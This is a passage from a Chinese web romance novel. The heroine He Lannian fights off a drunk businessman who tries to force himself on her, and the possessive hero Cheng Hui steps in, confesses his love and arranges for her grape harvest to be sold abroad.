贺兰念没有时间跟周墨耗下去了,她心里暗自下决心,今天一定要跟周墨说清楚。
酒店宴会厅的包厢,周墨再次喝得酩酊大醉,他醉醺醺喊着贺兰念的名字。
“人去哪了?过来扶我一下!”
贺兰念走过去,扶了扶他的胳膊。周墨却不满意的挣开贺兰念的手,把她往怀里拉,一把搂住了她的肩。
周墨凑近贺兰念耳朵,灼烫的呼吸激得贺兰念猛后退一步。
“躲什么!”周墨眯着眼盯着贺兰念白净秾丽的侧颜,又凑过去,带着强势的意味低声道:“我们去6566号房间。”
贺兰念推开他,她脸色不变,动作却带着某种坚决。
周墨觑她脸色,眸中闪过不悦和冷意,眸光一转,道:“别想歪了,我们只是去聊聊合同。”
“......就在这里聊吧。”贺兰念说。
“吃饭的地方怎么聊?”周墨不耐烦的扯了扯领带,“还有,我要回去洗澡换身衣服,臭死了。”
贺兰念眼神空洞的看着周墨,她突然想到了杨志国。
“你是不是没有打算跟我签约。”贺兰念声音沉静。
其实不止是杨志国给的教训,这么多天,只要葡萄没卖出去,她就一直提心吊胆,可能失败的想法也一直在她脑海徘徊。
“说什么呢?”酒精上头,周墨逐渐烦躁起来,他似没听清贺兰念的话,只一味拉着贺兰念往酒店房间走,混混沌沌说着:“等到了房间,你让我签多少就签多少......”
贺兰念无奈把他送到房间。
门一打开,周墨一脚把门关上,将贺兰念堵在了门板上,他低头就要强吻贺兰念,下一秒,只听“噗”地一声后,周墨捂着下|体连连后退。
“卧槽你个死女人!你特么敢踢我!”周墨破口大骂,“你别特么的给脸不要脸!”
“签合同?签你妈的鬼合同!”下|体非人的疼痛几乎让周墨失去理智,再加上酒精的加持,他内心真实的想法不管不顾全吐了出来,“老子要不是看你长得漂亮,我特么花时间在这跟你周旋?!你在这跟我装清高!”
周墨的话像魔咒,贺兰念觉得自己慢慢被铺天盖地的悲哀不断往下压,压得她全身的皮肉都要炸裂,心脏处传来不能负荷的疼痛。
她再次明白,杨总有杨总的做事风格,这些公子哥有公子哥的玩法,他们仅仅一个玩笑,都是贺兰念无法承受的后果......
不!她不能绝望!
坚强一点贺兰念,这又算什么事呢?!一定有办法解决的。
贺兰念在心里不断暗示自己。
这边周墨怒气冲冲再次向着贺兰念抓去,“我倒是要看你待会在床上还这么清高!”
还未靠近,一只脚踢到周墨肚子上。
贺兰念的脚还没来得及撤回,被周墨狞笑着抱住,狠狠一拉,骤然的重心不稳让贺兰念重重摔在地上。
没有犹豫,贺兰念在地上打了个滚,身体扭了几圈后终于从周墨的桎梏中把脚抽出。
她立马站起来,挥拳向周墨的脸上去。
这次周墨早有防备,他伸手欲挡贺兰念的攻击,但这只是贺兰念的一个假动作,她一只脚已经狠狠踢在周墨侧腰,快准狠的力度让周墨瞬间撞上玄关的墙。
家里就剩她自己后,贺兰念去专门练过跆拳道。
但女人天生比男人力气小是事实,贺兰念清楚在这里跟周墨耗不是明智之举,于是趁周墨愣神,她立马转身开门,向电梯跑去。
电梯数字从最顶层开始下降,另外一边周墨已经拉开房门,一脸愤怒走来!
看着越来越近的周墨,即便知道没用,贺兰念还是忍不住再次伸手摁了摁电梯下键。
就在贺兰念犹豫要不要走消防楼梯时,终于“叮”的一声,电梯到达!
电梯门缓缓打开,贺兰念脸上是掩饰不住的焦慌,抬眼的刹那,好似看见电梯里一个身影修长的人,心不在焉抬了抬眼皮。
程回???
视线定焦,贺兰念看见程回漫不经心又冷漠的脸。
23. Chapter 23
这几天贺兰念每天都早出晚归,程回好像也在忙什么事,没再住李折爷爷那里。
只有某天晚上,应该有十二点多了吧,贺兰念准备睡觉时,看到停在大门外的黑色轿车。
程回站在车边,夜色几乎把他淹没,只有一盏昏黄的墙灯吝啬的打到他脚边,光线微弱照了他一个侧面,皮肤冷白。
他低着头,盯着什么东西。
是一支烟。
被他夹在指间,在手指间来来回回转,没有点燃。
贺兰念看着那支没有点燃的烟,心似被刺了一下,怔怔看着那道孤清的身影。
那天早上贺兰念依旧没有看见程回。
眼下,大概是贺兰念这几天第一次近距离看见程回。
第一眼,贺兰念感觉程回的脸色不太好,心事很厚重的样子,整个人的状态也不太对劲。
贺兰念跑进电梯后跟程回对视的几秒,才看到程回空洞的眼中慢慢注入情绪般。
程回看着贺兰念惊吓苍白的脸,渐渐拧起眉。
电梯外,周墨的怒吼响起:“喂贺兰念你这个疯女人!你今天不跟我道歉,好好陪我一晚,合同的事就算你去找我爸,我也有办法让你签不了!”
程回的视线滑到周墨身上,沉默又平静。
周墨根本没注意到电梯里还有一个人,他一脚踏进电梯,伸手就要抓贺兰念。
下一秒,“嗖”地一声,一道身影从电梯里飞出一道弧线——
“砰”地一声砸到走廊墙上!
跟刚才贺兰念那一脚的力道相比,这一脚的力量简直不是一个等级。
周墨躺在地上都愣了两秒。
发现不对劲,他这才望去,看见电梯里的程回!
“程回?”一晚上被认识不认识的踢了好几脚,大公子哥哪里受过这种窝囊气,周墨咬牙切齿道,“你特么的踢我?!你凭什么踢我!!”
周墨只听过程回的名声,两人并没有接触过,唯一的接触就是几天前那个包厢。他那时候只顾着看程回和程净的热闹,倒没怎么注意程回跟贺兰念的关系。
现在看来,程回对贺兰念的感情分明不一般!
程回竟然喜欢贺兰念!
这个念头在周墨脑海疯狂旋转,他直觉这件事的不寻常。
电梯里,贺兰念也被程回这一脚吓到了。
她见程回往外走,看着像是要打周墨,贺兰念赶紧拉住了他的胳膊。
“程回,我没吃亏。”贺兰念肯定道,“真的。我打了他就跑出来,出来就遇见你了!”
“我之前练过一段时间跆拳道,没那么弱。”贺兰念补充。
程回脸色极差,他盯着贺兰念的眼睛,分辨她有没有说谎,最后看向贺兰念紧紧抓着他胳膊的手。
见状,贺兰念抓他胳膊的手又紧了紧,控制在安抚和警告的力道。
好在程回没有进一步的动作。
电梯门缓缓关上,贺兰念在心里呼了一口气。
“我|操|你|妈程回!你给我等着!”周墨没见程回要走,气愤的冲着即将关闭的电梯狭缝大喊。
贺兰念:“......”反派死于话多,没救。
“你找死?”
一道阴沉到滴水的声音落在周墨的眉心。
一片阴影笼罩过来,周墨抬头,只见程回逆着光居高临下看他,修长高大的身材简直像一座山,黑暗又疯狂的姿态!
周墨不是吓大的!
虽然比不上程回恶名扬京城,但周墨从小就不怕惹事,也从不怕事......
程回抓着周墨的衣领,就那么像拎小鸡崽一样把周墨拎了起来。
周墨:“......”
贺兰念:“......”
程回身材修长,但并不是那种肌肉蓬勃衣服都包不住的类型,相反他体型偏瘦,甚至显得有些瘦削,不知道哪来的那么大力气。
“啪”地一声,程回把手中的牛皮纸档案袋摔在周墨脸上,一下一下。
程回摔周墨脸的力道并不大,但被自己年龄小的男人一只手拎着一只手打脸,没有比这更侮辱性了!
周墨气急败坏一把抓住拍打他脸的文件袋,他又气又羞辱,脸黑红似关公,恨不得将这个袋子撕个粉碎,纸张撕裂的“刺啦”声混着周墨的大叫:“我|操|你——”
“砰——”
骂声戛然而止,周墨的头被一个猛推撞上墙!
尖锐猛烈的刺痛几乎让周墨大脑宕机,他的手一瞬间脱力,手中被撕开的文件袋掉在地上,里面的文件洒落一地。
就在贺兰念下意识以为程回丧失理智时,程回突然松了手。
没管跌在地上哀嚎的周墨,程回拧着眉后退几步,狠狠揉擦了一下抓过周墨的手。
程回低着头看着那只被擦红的手,嫌弃的嘟囔了一声:“脏死了。”
贺兰念:“......”
见程回还算冷静,贺兰念想着地上的文件可能是什么重要的东西,便蹲下捡散落一地的文件。
捡到某张时,贺兰念无意瞥见上面的文字,顿住。
这是一份亲子鉴定,贺兰念刚好看见那行鉴定结果。
——鉴定结论:样本A与样本B之间存在生物学母子关系。
这时,贺兰念听见头顶程回用异常寡淡的声音说:“我不喜欢有人当着我的面骂我妈。”
“......”贺兰念抬头看程回,只见程回低垂着眼皮,面无表情的看着周墨。
任谁都听出这句话里的威胁意味,混迹商场几年的周墨岂能听不出,而且京城圈子里谁不知道程回和他爸妈的一些事,周墨知道他这是无意碰着了程回的逆鳞。
眼下情况识时务者为俊杰,周墨忍气吞声,决定先不惹程回这个疯子!
他在心里默默发誓,等着看他以后怎么弄死程回!
从地上爬起来,周墨冷“哼”了一声,到底什么都没敢说,夹着尾巴灰溜溜走了。
周墨离开后,贺兰念把地上的资料捡起来递给程回,道:“抱歉,刚才捡的时候不小心看到了一点——”
“贺兰念,你相信我吗?”程回打断贺兰念。
这话问得没头没尾的,贺兰念脑海还在疑问怎么突然这么问,嘴巴已经下意识回:“相信啊。”
等贺兰念意识到自己回了什么,又忍不住在心里叹息。程回对于她来说并不是熟悉的人,况且她现在连他到底是姓陈姓程还是姓成都不知道。
程回不再说话,他低垂着眼睫,不知在想什么。
贺兰念尴尬的晃了晃脚,偷偷看了程回一眼,给自己找补:“这个......也分情况......”
“为什么相信我?”程回沉声问。
“......”程回冷沉的目光无声透出威压,贺兰念心脏悸动一阵心虚,低声道,“也没有完全相信......”
见程回抬脚走向她,贺兰念不自觉向后退,直到退到电梯里,贺兰念强迫自己停下。
不管对方是不是程回,贺兰念都不允许自己这样胆怯懦弱。但即便如此,被程回漂亮薄凉又似狼般的目光盯着,没有人能受得住。
贺兰念始终不敢抬头看程回。
电梯门关上,无声下行。
安静快把贺兰念逼疯,她脑海想着起个话头,便问:“你换酒店住了?”她记得上次程回带她和惜儿住的不是这家。
“没有。”程回答。
“哦。”
就在贺兰念以为话题就这样结束时,又听见程回说:“顶楼房间住着我妈。”
贺兰念:“.........”
程回......的妈妈?
贺兰念猛地抬头看向程回。
“她的身份和下落暂时不能让别人知道,我也只能暂时跟你说这么多。”程回又说。
贺兰念:“............”所以,这些天,程回都在忙碌他母亲的事情吗?
“你不用跟我说这么多......”贺兰念心情复杂,她本意是想离程回远点呢,怎么合适知道这么大的秘密!
意识到贺兰念还是在拒绝靠近他,程回心中陡然生出一股怒意,他一步将贺兰念挤到电梯一角。
他果然不是君子,慢慢等人那一套他做不到!
心不能贴近,身体贴近也行!!
她的皮肤,她的一切,对于他来说,都带着致命的吸引力。
程回捏着贺兰念下巴的手不自觉用力,温暖细腻的肌肤轻而易举勾起他内心的渴望,愈来愈难以克制的渴望。
“贺兰念,我不管你喜不喜欢我,不管你要不要爱情!”程回咬着牙道,“我要你!”
贺兰念呼吸一窒,心脏传来琴鸣般的颤动。
贺兰念眼中深深挣扎着一种撕裂的痛苦,仿佛两种思想观念在她脑海,在她的血肉,在她每个细胞疯狂交战,
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快要把她撕碎了。
她母亲说,爱情是不需要理由的。
或许是性格不同,或许是这些年的经历,又或许只是叛逆的反抗吧。贺兰念不想认同她母亲的观点,她不认同无缘无故的爱。
被逼到退无可退,贺兰念问:“为什么?为什么喜欢我?”
程回愣住了,他没有想过为什么喜欢贺兰念,他只知道,他看见贺兰念的第一眼,已经喜欢得不得了了!
而等他意识到这是喜欢时,他已经深深爱上了她。
看到程回无解的神情,贺兰念推开他,“在你不能回答这个问题之前,我有权不做出任何回应。”
“叮”的一声,电梯到达一楼。
电梯外的人好奇看着他们,贺兰念不好意思,率先走出电梯。
寂静空旷的地下停车场,程回抓住贺兰念的胳膊。
“我可能无法立马回答你这个问题。”程回站在贺兰念对面,他眸中似有微光划过,又似有什么璀璨的东西绽放。
“但是贺兰念,我是认真的。”
程回眉宇间并未多么波澜壮阔海誓山盟,却异常的给人一种他这辈子再也不会对其他人说出这句话的感觉。
他说是认真的,就仿佛在说,这辈子他的喜欢都不会再改变。
贺兰念听到了自己心里什么东西轰轰烈烈崩塌的声音,似经历十级地震后又被海啸猛烈冲刷,冲去了她多年旧时光里,母亲在她心里垒砌的爱情高墙。
她用残存的一丝理智道:“我知道了。”
她是惯常拒绝别人的,可是此时此刻,贺兰念连对程回说一句重话都说不出。
甚至,她低着头,回避程回灼热的视线。
头突然被人抹了两把!
第一下不轻不重的,然后不知是被手感惊到,第二下带着惊讶的恶趣味重重揉了一下......贺兰念甚至听到了程回讶异的笑声。
程回一笑,那股压得贺兰念喘不上气的紧张气氛骤然散了去。
程回简直一会儿像恶魔,一会儿像孩子!
真是让人......无奈至极,又无可奈何。
“贺兰念,我来帮你卖葡萄吧。”
贺兰念又听见程回这样说。
桥豆麻袋!!
什么!!!!
“......”贺兰念震惊地看向程回。
程回说这句话像是说,“贺兰念,我们去吃饭吧。”那样轻松。
“你说帮我卖葡萄?”贺兰念重复。
程回被她的表情逗乐,“刚才还说相信我,怎么?转眼就不相信了?”
“......”
“走了贺兰念,我跟你回李家。”程回说。
当下,程回开着车,贺兰念坐在副驾,又听见程回说。
“这样吧贺兰念,如果我帮你卖掉葡萄,你就以身相许,行吗?”
“......”明明是玩笑话,贺兰念竟然从程回语气中听出了些许认真。
贺兰念:“那倒不至于。”
听到贺兰念的拒绝,程回短促笑了下,他嘴角的笑意很快淡下去,微抿的神态透出偏执。
贺兰念没注意程回神态的变化,她想起在她说完“相信”后程回的沉默......如果那时的程回是说帮她卖葡萄的事,那他的沉默,是为难吗?
也是,现在国内就是这么个情况,她自己为了卖葡萄快丢了半条命,简直举步维艰,哪有说得那么轻松!
就算是程回,也会觉得为难吧。
“你要是觉得为难,我可以自己来的。”贺兰念道。
程回弯了弯唇,他目光落在前方路上,华灯一道道划过他冷白的脸,整个人显得淡然又慵懒,说:“没什么难的。”
他的语气实在太过懒散又随意,听得贺兰念真的生出一种去小学门口卖一毛钱一支冰淇淋的简单感。
贺兰念猝不及防撞上程回回望的目光。
像是听到她内心的吐槽,程回突然笑开,低沉如大提琴的声音在小小的空间将贺兰念包围。
贺兰念表情僵硬,理智告诉她克制,余光却控制不住瞄向程回。
贺兰念从来没有见过任何一个人笑起来能跟程回相提并论的人。
看着笑意盈盈的程回,贺兰念突然想起一句歌词。
——我知道你才是这世界上,无与伦比的美丽。
世界上怎么会有程回这样的人......
24. Chapter 24
不到半个小时,车子驶进李宅,李怀壁、惜儿、甚至李折也在,三人坐躺在凉亭下乘凉、喝茶、看月亮,好不惬意……
看到程回和贺兰念从车上下来,惜儿跑过去先抱了下程回,然后拉着贺兰念去凉亭坐。
李折喊人给程回拿来一张躺椅,程回没坐,他走到一边打电话。
“程回?国内的号码,看来是真回国了。”听筒里传来一道从容不迫的男声。
男人很快轻声笑了下,语调优雅磁性,“怎么想起我来了?找我有事?”
“有件事。”程回没寒暄,直接道:“我这边有些葡萄要处理,你有没有办法收进酒厂?我记得你回国后有做国内外红酒市场。”
“葡萄啊——”
接电话的男人名叫赵幸北,他想起程回去西北的事,并未多言,直接问:“你那边有多少?”
“几万亩。”
“几万亩?”赵幸北讶然笑了声,“我说程回,你在搞什么鬼?几万亩的葡萄现在这个市场没有一家能吃得下!就算我这边有几家熟悉的酒厂,也搞不定这么多。”
“没让你全收,这几天我会收购一些酒厂,你先把最近成熟的收下。”
“这行。”赵幸北爽快答应下来。
想到什么,他饶有兴趣道:“你说你要收购酒厂?程回别怪我没提醒你,现在国内红酒市场可不好做。你爸操纵红酒协会的一帮老家伙打压贺兰山的葡萄园农户,逼他们卖掉葡萄园。而且不仅你家,周家也盯着这块呢。”
赵幸北意有所指:“你现在要收购他们的葡萄,怕是要得罪人。”
程回神情寡淡,深邃的眸子闪过一丝不屑。
“这个你不用管。这几天你再注册一家红酒进出口公司,合伙人的名字写贺兰念。之后我会联系国外酒厂和酒庄。”
“国外的酒厂和酒庄?”赵幸北“啧”了声,“听你的意思,是要把葡萄转销到国外去?”
程回不耐烦:“不然?”
“......行!明白了!”不过赵幸北还有顾虑,问道,“你呢?公司不写上你的名字?”
“不用。”
看着被挂断的电话,赵幸北无奈摇了摇头。
这么多年,程回这家伙还是这么不近人情,让人看不透。
接到程回的电话,不由让赵幸北想起一些往事。
他跟程回是国外上大学的时候认识的,他比程回大两岁,那时他大学毕业没回国,想在国外几大投行实习闯一圈,在进入规模最大的那家投行时,遇见了程回。
那时程回好像还不到二十岁,却已经是被那些集团高层众星捧月的对象......所有经过他手的股票基金债券等所有跟赚钱有关的东西,从来没有赔过!
赵幸北也曾自诩天才,但在程回面前,也免不了自残形愧。
即便如此,程回却从来没有被那些东西束缚。
他从不参加任何聚会,即便项目又赚了上千亿,脸上也没有一丝笑意,甚至寡淡的连情绪都没有......我行我素,孤傲淡漠,看得人咬牙切齿,感叹老天不公。
但没有人恨程回,不管是各大公司的CEO还是那些资深交易员,几乎都把程回当偶像崇拜。
赵幸北曾亲耳听到集团CEO威尔称赞程回,说他是华尔街近百年来的“恶魔天才”,绝对的天才!
不过奇怪的是,国内几乎没人知道程回在国外的身份。但赵幸北无比清楚程回的人脉有多强大,那是普通人和不普通的人都可望不可及的顶尖资源!
跟程回合作,赵幸北自然不会担心什么,所以他刻意问公司要不要加上程回的名字,没想到程回却回绝了。
“贺兰念?”赵幸北低喃。
他没有听过这个名字,听着是一名女性。
“贺兰念?”坐在沙发上的女人回头,一张美丽的脸盯着赵幸北,“你认识她?”
赵幸北放下手机,回身看她,“不认识。你知道她?是什么人?”
“一个美人。”楚若从手机上找到贺兰念近期大火的机场视频,举给赵幸北看,“喏,她这就是贺兰念。”
楚若忍不住感叹:“好看死了!”
赵幸北看着楚若激动似痴迷的神情,蹙了下眉,“你不会还喜欢女的吧?”
闻言,楚若低头认真想了想,说:“也不是不行。”
“.........”赵幸北眼睛里暗黑的情绪翻江倒海,他直勾勾盯着沙发上的女人,看着想要把人生吞活剥了。
“你要不要看?不看我看其他的了?”楚若觉得手腕酸,不高兴的催赵幸北。
又沉默了几秒,赵幸北到底走了过去,他一手接过楚若手里的手机,一手揽住她的腰,大力把楚若压到他怀里。
楚若想动都动不了。
赵幸北似这才心安些,看向视频。
然后一眼看到视频里的程回!
把视频看完,赵幸北足足愣了七八秒,他实在想不到程回那样的人,有一天会跟一个女生牵扯到一起!
关于程回这个“恶魔天才”,华尔街一直有个传说,说他聪明冷酷、神秘低调、外表华丽......几乎每一点都引起人的无限窥探欲。
其中自然不乏女性,甚至可以说国外金融圈的那些上层女性,想一睹程回尊容的如过江之鲫。
赵幸北的视线落在贺兰念身上,年轻的女孩无疑是极漂亮的,甚至有种深邃的华丽......但以赵幸北对程回的了解,这并不足以让程回心动。
爱上一个人的灵魂是最致命的。
赵幸北突然弯了弯唇,放下心来。
如果是程回喜欢的女孩,那程回大概比他自己的事还要上心。
*
这边李折见程回走过来,随口问了句:“给谁打电话?”
“赵幸北。”
“他啊~”想到这个人李折“啧”了一声。
那是个跟他这种吃喝玩乐的二世祖完全不同的天之骄子,如果他跟程回是京城子弟里的反面教材,那赵幸北绝对是那个正面教材!
从小聪明好学努力上进,礼数周到温文有礼,如今更是一身雅正矜贵的气质。
李折感叹道:“听说他从国外回来后自己开了家公司,混得风生水起。怎么,你找他有事?”
程回“嗯”了声,他看了眼贺兰念,随后把躺椅拉到贺兰念身边坐下,道:“跟他合伙开家公司。”
“什么?!!”李折跳起来,大叫道,“你要跟他开公司?”
程回瞥他:“你激动什么?”
“不是!你要开公司?这么说你要一直留在国内了!”李折说完大笑起来,“行行行!国外哪有自己国家好!以后跟着哥混,咱还当咱的玩裤子子弟。”
程回:“......别瞎说!”
贺兰念看向程回,正看见程回朝天翻了个白眼......有点可爱......贺兰念低下头,嘴角忍不住上扬。
李怀璧拿起手中的老式蒲扇打在李折的手臂上,骂道:“你还好意思说出口,一天天没有点正事。”
惜儿纠正李折:“李哥哥,是纨绔子弟,不是玩裤子子弟。”
李折嘻嘻笑了两声,不要脸掰扯道:“知道纨绔是什么意思吗?纨绔就是裤子的意思,可不就是玩裤子子弟吗?”
随着“啪嗒”一声,李折“┗|`O′|┛嗷~~”地吃痛喊出声,扭头盯着他爷爷的扇子求饶,“我错了爷爷!”
他坐下后又嘟嘟囔囔,“您看您也是,这多平静多美好的气氛,您还打人!”
李怀璧被气笑了,“你还有理了?”
“没理没理......我错了!不过,”李折话锋一转,“你真的要跟赵幸北开公司啊?开什么公司?你想好做什么了?”
“不是我。”程回说,“贺兰念跟他合伙开。”
贺兰念:“......”
贺兰念:“嗯???”
贺兰念:“我?!!!”
程回并未多说什么,只跟贺兰念说:“明天带你
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去见一个人。”
“哦对了,明天早上记得叫我起床。”程回拿手戳贺兰念,“听见了吗贺兰念?你不叫我起不来!”
贺兰念:“......听见了。”
*
程回刚回卧室,一通电话打来。
看见来人,程回点了接通,开口:“威尔。”
“程回?你终于肯接我的电话了!”一个听起来略显年迈的男声操着纯正的英语,不掩激动道,“你要回来了吗?什么时候?我可以让人开我的私人飞机去接你。”
“不是。”跟威尔的激动热情相比,程回的声音就显得有点冷淡。
“为什么还不回来?”威尔知道程回回国的目的,便问道,“你还没有找到你的母亲吗?”
“不,我已经找到了。”程回顿住,他回来之前跟威尔说,只要找到他的母亲就会回去。
“那你还在犹豫什么?”威尔道,“我可以立马派人把你们母子接回来,如果你需要,我还可以给你母亲安排一处绝对安全的房子。没有人可以找到她,没有人再伤害她。”
“回来吧,程回。”威尔语气染上焦急,“这里才是你应该驰骋的地方,你在这里也感到更加自由,不是吗?”
程回沉默。
威尔的话无疑让他心动,他回来之前也一直是这样想的,不过不用威尔帮忙,他也会给他母亲安排一个舒服的住处,让程英纵再也找不到他们。
可是如今他找到了他的母亲,却把他母亲送到并不安全的酒店,自己迟迟下不了决心离开。
程回拧了拧眉,从口袋里摸出一根烟送到嘴边,掏出火机时想到什么,手指顿了下,随后仍到茶几上。
他仰躺在沙发靠背上,盯着天花板上的吊灯,那根没拿下的烟在他唇边捻磨摩擦......
他的眼神似在想谁,大胆又放肆,滚动的喉咙性感、撩人、不羁......刹时间原本寡淡的空间平白生出无限旖旎的气氛。
“我还有别的事没有处理完。”程回压着烟头低声说。
“什么事?”威尔不放弃道,“如果不是非要你亲自处理,我可以派人——”
“不,”程回嘴角微微一扯,打断威尔,“这件事谁都不能插手,只能我自己来。”
威尔敏锐察觉程回这句话的强势,这种强势不像是对付仇敌,更像是自己东西不容旁人触碰的占有欲!更诡异的是,说这句话时,威尔竟然觉得程回是笑着的!
这简直匪夷所思!
当初那个十七岁便在华尔街横空出世的魔鬼天才,威尔从来没见程回对任何一个人笑过!
威尔沉默下来,他感觉到程回变了,而这种变化必然是程回遇到了什么人。
一个足以改变程回的人?
竟然有这个人存在!威尔感到强烈的好奇。
“我需要你帮我做另外一件事。”程回说。
完全没想到程回会主动求他办事,威尔意外道:“什么事?”
“你帮我联系几家规模大的酒厂和酒庄。”
“......然后呢?”
“我要卖一些葡萄和红酒给他们。”
威尔:“......”
今天的谈话一再让威尔意外,而现在程回竟然卖起红酒这种实业了......他们可是搞虚拟金融操纵股市的!
威尔心中陡然生出一种神明走下神坛的感觉,相比于可惜,威尔发现自己竟然是高兴的情绪占了大多数......真是神奇。
威尔高兴应下了。
挂了电话后,程回陷入沉思,其实威尔的提议不是不可取,他依然可以选择出国,除了带上他的母亲,还必须带上一个人——贺兰念。
所以,葡萄园是累赘,必须卖掉。
想到什么,程回给王客打去电话。
“帮我查一个女人的下落和近况。”
“谁?”
“一个小孩的母亲。”程回道,“我会把她的资料发给你。”
“好。”
25. Chapter 25
第二天清早,贺兰念从七点多到十点多,走过程回卧室门前无数次。
第一次七点多,她敲程回的门,程回醒了,但没起。也不说见面时间,只说,“等他睡好。”
贺兰念不知道程回晚上什么时候睡的,已经十一点了,他还没起床!
如果错过午饭时间,就到下午了!贺兰念可没有那么多时间耽搁。
无奈,贺兰念又敲了敲程回的门。
“你醒了吗?”
这一刻,贺兰念深深体会到,叫惜儿起床比叫程回起床容易太多了!
过了会儿,终于传出一声沙哑的声音,“醒了。”
“进来贺兰念。”
贺兰念:“......”她还是不进去了。
“那我在楼下等你啦,你洗漱好——”
贺兰念话没说完,门突然从里面拉开,程回只穿了条黑色亚麻睡裤的半裸|身躯撞进贺兰念瞳孔。
肉眼所见的肌肤,白得晃眼。
贺兰念猛地退后一步,移开了眼。
安静了几秒,程回像是发现了新大陆般凑到贺兰念脸边,一直盯着她侧脸的位置瞧。
瞧到,贺兰念以为她脸上粘上了什么东西,“你——”
“贺兰念,你看着挺高冷,这么容易害羞呀?”程回指着贺兰念红透的耳廓,眼中兴致盎然。
“.........”
贺兰念干笑两声,在心里暗暗说,我不高冷!你才高冷!!!
贺兰念留下句,“你先去洗漱吧。”下了楼。
程回看着贺兰念略显得匆忙的背影,轻笑了声,心情大好。
*
贺兰念被程回带去一家饭店的包厢,他们到的时候,包厢里已经坐了一个人。
男人西装革履,第一眼看上去优雅中透着矜贵,成熟又内敛,他端坐在那里,有种佛性的禁欲感。
贺兰念猛地看见赵幸北,怔了一下,而她这一秒钟都不到的愣神却被程回精准捕捉。
程回看着赵幸北的眼神瞬间阴沉起来。
看见程回和贺兰念走进来,赵幸北起身后目光略过程回,向贺兰念点了点头。
“你好,赵幸北。”赵幸北向贺兰念伸手。
贺兰念手刚伸出去,被程回一把握住,他强硬拉着她坐下,没理会赵幸北。
赵幸北放下手,挑了下眉。
他嘴角浮现一抹饶有兴趣的笑意,生生破坏了那一身禁欲气质,看着有点腹黑。
贺兰念朝赵幸北尴尬笑了下,“你好,我叫贺兰念。”
顿了下,赵幸北不知有意还是故意,说:“有耳闻,确实很漂亮。”
这句话实在不像从赵幸北这种外貌和气质的人口中说出,贺兰念怔了下后又尴尬笑了笑,“......谢谢。”
收到程回恶狠狠瞪过来的视线,赵幸北适可而止,他摇身一变,又是温润矜贵的样子,“那我们就聊聊公司的事吧——”
“公司没什么好聊的,你用贺兰念的名义注册,你作为合伙人参与日常经营,我来投资。另外,我的那部分股份给贺兰念。”程回打断赵幸北,三言两语把开一家国际进出口公司如此复杂的事,说得如大象拢共分几步装进冰箱一样简单。
赵幸北愣了下,他眼中闪过一抹无奈的苦笑,脸上依旧温和道:“我怎么记得你昨晚说公司以我的名义注册?”
程回:“我是投资人我说了算。”
赵幸北:“......”
“算了,这件事我不计较。”赵幸北妥协到一半,话锋一转,问,“股份方面你想怎么分?”
“你三贺兰念七。”
“......”赵幸北弯唇笑了下,笑得像只被惹恼的狐狸,“我还没沦落到给人当廉价劳动力的地步,程少还是另请高明吧。”
“公司需要一个经营人。”程回直接问,“你想要多少股份。”
“......”赵幸北思索再三,道出:“最少也得四六。”
程回一点没犹豫:“行。”
赵幸北:“......”觉得自己要少了!
“公司要尽快注册出来。然后你那边的酒厂,让他们这两天去西北收葡萄。”程回把拿来的资料递给赵幸北,道,“这上面的国外酒厂和酒庄,你都可以把东西卖过去,他们会给你好价格。”
“......”赵幸北不能不震惊,如果按照程回这个流程来,那他完全不用费事,只等着赚钱就行了。
然而等赵幸北打开资料,看见上面国外的酒厂和酒庄名字,更是震撼到头皮发麻,这上面无疑都是世界上最顶尖的葡萄酒厂酒庄!
程回的人脉竟然恐怖到这个地步。
如果是这样的话,即便股份三七分,他也稳赚不赔!
刚才的不愉快如过眼云烟,赵幸北一脸舒朗,笑着道:“那接下来,我们就开始吃饭吧?”
“不吃了。”程回冷着脸就要拉着贺兰念走。
就在这时,包厢门被打开,传来一道清甜的女声:“亲爱的——”
贺兰念和赵幸北朝门口望去,程回目光从贺兰念脸上移开,扫了一眼又很快挪开,他看起来心不在焉,烦躁难消。
看见门口美女的第一眼,贺兰念觉得她好像在哪见过,很熟悉,一时又想不起来。
而赵幸北看见门口的楚若,他慢慢放下筷子,眯了眯眸。
楚若看清包厢里的人,一愣,随即道:“不好意思,走错房间了!”
说完,快速转身离开。
赵幸北站起身,贺兰念见他原本从容不迫的优雅淡去,疏离冷冽,似乎隐着怒意。
“既然你们选择不吃饭,那我就先走了。”赵幸北说。
贺兰念看向程回,见程回拧着眉发呆没有任何反应,她只好站起来,准备送一下赵幸北。只是她还没站起来,被程回猛地拉了回去。
贺兰念:“......”
桌下,程回的手死死攥着贺兰念的胳膊,贺兰念完全挣不脱,她尴尬朝赵幸北点了点头。
赵幸北也心不在焉,他同样朝贺兰念点了点头,转身离开。
包厢陷入安静。
就算贺兰念再迟钝,这会儿也感觉到了程回的不高兴。
“不吃饭了,要走吗?”贺兰念问。
程回倒是回答的很快,脱口道:“谁说不吃了?”
贺兰念:“......你自己说的。”
程回看向贺兰念,“贺兰念,你是不是忘了一件事?”
“有吗?”
“有!”
于是贺兰念便等着程回说什么事,她等了半天,程回一句话没说,只是怨念的看着她......看起来又生气又委屈的样子。
等等,怨念?委屈?
再看,依旧是……
贺兰念叹了一口气,问:“所以,是什么事?”
“……你说过要请我吃饭。”
贺兰念:“......”她还真把这件事给忘了。
“那这顿饭我来请行吗?”贺兰念问。
程回不说行也没说不行。
“......”莫名的,贺兰念看着程回,觉得他现在气得全身“噗噗噗”往外冒圆滚滚的气泡......贺兰念嘴角弯了弯,忍住笑意。
其实程回冷脸时还挺吓人的,但贺兰念实在想不出他在气什么。
贺兰念把菜单推到程回面前,温声问:“你喜欢吃什么?”
程回只是盯着她,目光如炬,似乎要看透什么事情。
贺兰念也不避不闪的看着他,真诚坦荡的样子,问:“那我帮你点?”
程回突然站起来!
他走到贺兰念身边,双手撑住贺兰念座椅的扶手,一点点逼近。
程回的脸在贺兰念眼中逐渐放大,贺兰念后背完全贴住靠背,最终避无可避。
“我问你一个问题,你老实回答我。”程回说。
贺兰念呼吸滞住。
程回目光凛然的看着她,死死拧着眉问:“赵幸北到底哪一点吸引了你?”
程回清清楚楚记得,贺兰念第一眼看见他时除了戒备没有丝毫反应,甚至还听错了他的名字!
可是刚才,她却盯着赵幸北看呆了!!!
一想到这一点,程回就觉心口似被扎了一根刺,如鲠在喉!
贺兰念:“......”
贺兰念:“!!!”
贺兰念眨了眨眼睛,躲开程回的视线。
这一刻她心里除了震惊程回的敏锐,还有她不愿意承认的心虚......第一眼,赵幸北确实有一点吸引了她。
程回掰回她的脸,一点也不容她逃避追问:“贺兰念说说看,第一次见我的时候怎么没这么大的反应?”
“......”贺兰念张了张嘴巴,接触到程回含火的眼睛,又撇开视线小声喃喃,“我见他也没那么大反应好吧。”
